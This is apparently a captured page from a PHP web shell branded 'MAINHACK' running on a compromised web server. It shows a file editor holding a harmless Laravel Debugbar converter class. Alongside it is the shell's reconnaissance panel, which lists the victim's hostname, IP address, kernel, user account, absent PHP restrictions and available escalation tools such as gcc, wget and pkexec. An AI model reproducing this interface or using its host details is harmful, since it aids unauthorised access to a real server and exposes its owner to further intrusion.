[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Converter.php
<?php namespace Barryvdh\Debugbar\Support\Clockwork; class Converter { /** * Convert the phpdebugbar data to Clockwork format. * * @param array $data * @return array */ public function convert($data) { $meta = $data['__meta']; // Default output $output = [ 'id' => $meta['id'], 'method' => $meta['method'], 'uri' => $meta['uri'], 'time' => $meta['utime'], 'headers' => [], 'cookies' => [], 'emailsData' => [], 'getData' => [], 'log' => [], 'postData' => [], 'sessionData' => [], 'timelineData' => [], 'viewsData' => [], 'controller' => null, 'responseTime' => null, 'responseStatus' => null, 'responseDuration' => 0, ]; if (isset($data['clockwork'])) { $output = array_merge($output, $data['clockwork']); } if (isset($data['memory'])) { $output['memoryUsage'] = $data['memory']['peak_usage']; } if (isset($data['time'])) { $time = $data['time']; $output['time'] = $time['start']; $output['responseTime'] = $time['end']; $output['responseDuration'] = $time['duration'] * 1000; foreach ($time['measures'] as $measure) { $output['timelineData'][] = [ 'data' => [], 'description' => $measure['label'], 'duration' => $measure['duration'] * 1000, 'end' => $measure['end'], 'start' => $measure['start'], 'relative_start' => $measure['start'] - $time['start'], ]; } } if (isset($data['route'])) { $route = $data['route']; $controller = null; if (isset($route['controller'])) { $controller = $route['controller']; } elseif (isset($route['uses'])) { $controller = $route['uses']; } $output['controller'] = $controller; list($method, $uri) = explode(' ', $route['uri'], 2); $output['routes'][] = [ 'action' => $controller, 'after' => isset($route['after']) ? $route['after'] : null, 'before' => isset($route['before']) ? $route['before'] : null, 'method' => $method, 'name' => isset($route['as']) ? $route['as'] : null, 'uri' => $uri, ]; } if (isset($data['messages'])) { foreach ($data['messages']['messages'] as $message) { $output['log'][] = [ 'message' => $message['message'], 'time' => $message['time'], 'level' => $message['label'], ]; } } if (isset($data['queries'])) { $queries = $data['queries']; foreach ($queries['statements'] as $statement) { if ($statement['type'] === 'explain') { continue; } $output['databaseQueries'][] = [ 'query' => $statement['sql'], 'bindings' => $statement['params'], 'duration' => $statement['duration'] * 1000, 'time' => $statement['start'] ?? null, 'connection' => $statement['connection'] ]; } $output['databaseDuration'] = $queries['accumulated_duration'] * 1000; } if (isset($data['models'])) { $output['modelsActions'] = []; $output['modelsCreated'] = []; $output['modelsUpdated'] = []; $output['modelsDeleted'] = []; $output['modelsRetrieved'] = $data['models']['data']; } if (isset($data['views'])) { foreach ($data['views']['templates'] as $view) { $output['viewsData'][] = [ 'description' => 'Rendering a view', 'duration' => 0, 'end' => 0, 'start' => $view['start'] ?? 0, 'data' => [ 'name' => $view['name'], 'data' => $view['params'], ], ]; } } if (isset($data['event'])) { foreach ($data['event']['measures'] as $event) { $event['data'] = []; $event['listeners'] = []; foreach ($event['params'] ?? [] as $key => $param) { $event[is_numeric($key) ? 'data' : 'listeners'] = $param; } $output['events'][] = [ 'event' => ['event' => $event['label']], 'data' => $event['data'], 'time' => $event['start'], 'duration' => $event['duration'] * 1000, 'listeners' => $event['listeners'], ]; } } if (isset($data['symfonymailer_mails'])) { foreach ($data['symfonymailer_mails']['mails'] as $mail) { $output['emailsData'][] = [ 'data' => [ 'to' => implode(', ', $mail['to']), 'subject' => $mail['subject'], 'headers' => isset($mail['headers']) ? explode("\n", $mail['headers']) : null, ], ]; } } return $output; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002